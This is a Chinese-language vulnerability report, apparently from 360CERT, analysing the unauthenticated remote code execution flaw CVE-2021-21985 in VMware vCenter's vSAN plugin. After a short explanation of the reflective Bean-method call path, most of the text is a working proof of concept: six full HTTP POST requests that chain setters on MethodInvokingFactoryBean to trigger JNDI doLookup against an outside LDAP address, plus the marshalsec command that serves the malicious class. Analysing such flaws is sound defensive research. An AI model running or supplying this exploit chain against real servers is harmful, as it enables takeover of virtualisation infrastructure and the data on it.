
报告编号:B6-2021-060702
报告来源:360CERT
报告作者:ghtwf01
更新日期:2021-06-07
0x01 漏洞概述
VMware
在5月25日发布了CVE-2021-21985
vCenter远程代码执行漏洞通告及修复版本,该漏洞允许未经身份认证的用户调用任意Bean
里的任意方法,当调用一个恶意方法时会导致任意代码执行。
0x02 漏洞分析
调用任意Bean里面任意方法
漏洞触发点位于servicesProxygenController#invokeService

可以看到我们传入的beanIdOrClassName和methodName以及从请求包提取的body被当作参数传入invokeService方法

这里通过getBean获取到Bean,接着获取这个Bean里面的所有方法存入数组var8,var7保存数组var8的长度。接下来进入循环,遍历Bean里面每一个方法,当遍历到的方法为传入的methodName时,获取body里面键为methodInput的值作为方法的参数放入变量methodInput,最后调用invoke方法。这样也就成功通过反射调用了我们指定的Bean里面指定的方法。
寻找可利用的Bean
这里找到的是org.springframework.beans.factory.config.MethodInvokingFactoryBean,利用点位于它所继承的类MethodInvoker,可以看到一个关键的invoke方法。

这里找到一个invoke触发点,preparedMethod.invoke(targetObject, this.getArguments());
这里的preparedMethod是通过this.getPreparedMethod方法得到的,targetObject是通过this.getTargetObject方法得到的。invoke方法里面第二个参数也是通过getArguments方法得到的,如果这三个参数可控,那么就能实现任意代码执行。
因为servicesProxygenController#invokeService能调用任意Bean的任意方法,这里操作的Bean在内存中都是一个对象,所以我们可以通过多次方法调用来实现伪链式调用。所以我们可以通过调用上面几个getter方法对应的setter方法来控制这三个参数的值,先来看看这几个setter方法
setTargetObject

setStaticMethod

setTargetMethod

setArguments

接着调用prepare方法对数据进行一些处理

现在都已经赋值完成,最后执行invoke方法

伪链式调用RCE
上面说的可以通过多次调用setter方法来赋值,为什么能这样操作呢?因为在内存中Bean是同一个对象,我们可以通过多次方法调用来实现伪链式调用。
POC如下
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1 Host: 192.168.117.6 Cookie: JSESSIONID=C00C1736DAD52868A5E75ECD64F46B77; JSESSIONID=34944EF5BA60EA4B522FDC147E53AB831ED5; JSESSIONID=9351324CD043384A74826CE111DF50F9; VSPHERE-UI-XSRF-TOKEN=803e68ad-4da5-4dd5-becc-b6e9cddb246a; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; _pk_id.1.2e3f=9ed93bcf9c56a5d4.1622600655.3.1622784462.1622784445..0cc4651fd211846f2bf4278bb96d1970c6dca3aec8b6d8aa810452836fa97c99; CastleSessionvsphere.local=_136000605d149affe8ca63dcba6860c7; VSPHERE-CLIENT-SESSION-INDEX=_738d0ebb3cda61081092815d9276ec3d Content-Length: 42 Cache-Control: max-age=0 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Origin: https://192.168.117.6 Content-Type: text/plain Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://192.168.117.6/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close {"methodInput":[null]}
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1 Host: 192.168.117.6 Cookie: JSESSIONID=C00C1736DAD52868A5E75ECD64F46B77; JSESSIONID=34944EF5BA60EA4B522FDC147E53AB831ED5; JSESSIONID=9351324CD043384A74826CE111DF50F9; VSPHERE-UI-XSRF-TOKEN=803e68ad-4da5-4dd5-becc-b6e9cddb246a; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; _pk_id.1.2e3f=9ed93bcf9c56a5d4.1622600655.3.1622784462.1622784445..0cc4651fd211846f2bf4278bb96d1970c6dca3aec8b6d8aa810452836fa97c99; CastleSessionvsphere.local=_136000605d149affe8ca63dcba6860c7; VSPHERE-CLIENT-SESSION-INDEX=_738d0ebb3cda61081092815d9276ec3d Content-Length: 42 Cache-Control: max-age=0 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Origin: https://192.168.117.6 Content-Type: text/plain Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://192.168.117.6/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close {"methodInput":["javax.naming.InitialContext.doLookup"]}
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1 Host: 192.168.117.6 Cookie: JSESSIONID=C00C1736DAD52868A5E75ECD64F46B77; JSESSIONID=34944EF5BA60EA4B522FDC147E53AB831ED5; JSESSIONID=9351324CD043384A74826CE111DF50F9; VSPHERE-UI-XSRF-TOKEN=803e68ad-4da5-4dd5-becc-b6e9cddb246a; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; _pk_id.1.2e3f=9ed93bcf9c56a5d4.1622600655.3.1622784462.1622784445..0cc4651fd211846f2bf4278bb96d1970c6dca3aec8b6d8aa810452836fa97c99; CastleSessionvsphere.local=_136000605d149affe8ca63dcba6860c7; VSPHERE-CLIENT-SESSION-INDEX=_738d0ebb3cda61081092815d9276ec3d Content-Length: 42 Cache-Control: max-age=0 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Origin: https://192.168.117.6 Content-Type: text/plain Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://192.168.117.6/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close {"methodInput":["doLookup"]}
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1 Host: 192.168.117.6 Cookie: JSESSIONID=C00C1736DAD52868A5E75ECD64F46B77; JSESSIONID=34944EF5BA60EA4B522FDC147E53AB831ED5; JSESSIONID=9351324CD043384A74826CE111DF50F9; VSPHERE-UI-XSRF-TOKEN=803e68ad-4da5-4dd5-becc-b6e9cddb246a; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; _pk_id.1.2e3f=9ed93bcf9c56a5d4.1622600655.3.1622784462.1622784445..0cc4651fd211846f2bf4278bb96d1970c6dca3aec8b6d8aa810452836fa97c99; CastleSessionvsphere.local=_136000605d149affe8ca63dcba6860c7; VSPHERE-CLIENT-SESSION-INDEX=_738d0ebb3cda61081092815d9276ec3d Content-Length: 42 Cache-Control: max-age=0 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Origin: https://192.168.117.6 Content-Type: text/plain Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://192.168.117.6/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close {"methodInput":[["ldap://107.175.115.66:1099/Exploit"]]}
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1 Host: 192.168.117.6 Cookie: JSESSIONID=C00C1736DAD52868A5E75ECD64F46B77; JSESSIONID=34944EF5BA60EA4B522FDC147E53AB831ED5; JSESSIONID=9351324CD043384A74826CE111DF50F9; VSPHERE-UI-XSRF-TOKEN=803e68ad-4da5-4dd5-becc-b6e9cddb246a; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; _pk_id.1.2e3f=9ed93bcf9c56a5d4.1622600655.3.1622784462.1622784445..0cc4651fd211846f2bf4278bb96d1970c6dca3aec8b6d8aa810452836fa97c99; CastleSessionvsphere.local=_136000605d149affe8ca63dcba6860c7; VSPHERE-CLIENT-SESSION-INDEX=_738d0ebb3cda61081092815d9276ec3d Content-Length: 42 Cache-Control: max-age=0 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Origin: https://192.168.117.6 Content-Type: text/plain Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://192.168.117.6/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close {"methodInput":[]}
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1 Host: 192.168.117.6 Cookie: JSESSIONID=C00C1736DAD52868A5E75ECD64F46B77; JSESSIONID=34944EF5BA60EA4B522FDC147E53AB831ED5; JSESSIONID=9351324CD043384A74826CE111DF50F9; VSPHERE-UI-XSRF-TOKEN=803e68ad-4da5-4dd5-becc-b6e9cddb246a; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; _pk_id.1.2e3f=9ed93bcf9c56a5d4.1622600655.3.1622784462.1622784445..0cc4651fd211846f2bf4278bb96d1970c6dca3aec8b6d8aa810452836fa97c99; CastleSessionvsphere.local=_136000605d149affe8ca63dcba6860c7; VSPHERE-CLIENT-SESSION-INDEX=_738d0ebb3cda61081092815d9276ec3d Content-Length: 42 Cache-Control: max-age=0 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Origin: https://192.168.117.6 Content-Type: text/plain Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://192.168.117.6/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close {"methodInput":[]}
我们调用setter全是MethodInvokingFactoryBean类里面的,为什么beanIdOrClassName写的是&vsanProviderUtils_setVmodlHelper呢,这里就涉及到Bean的别名。
我们可以看到,这里设置了MethodInvokingFactoryBean为一个Bean,还设置了这个Bean的别名为vsanProviderUtils_setVmodlHelpe,所以通过这个别名也能查询到Bean。

0x03 漏洞利用
首先编写一个恶意类放入http服务并开启一个LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip/#Exploit" 1099
然后poc走一遍

0x04 Reference
Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD
VMSA-2021-0010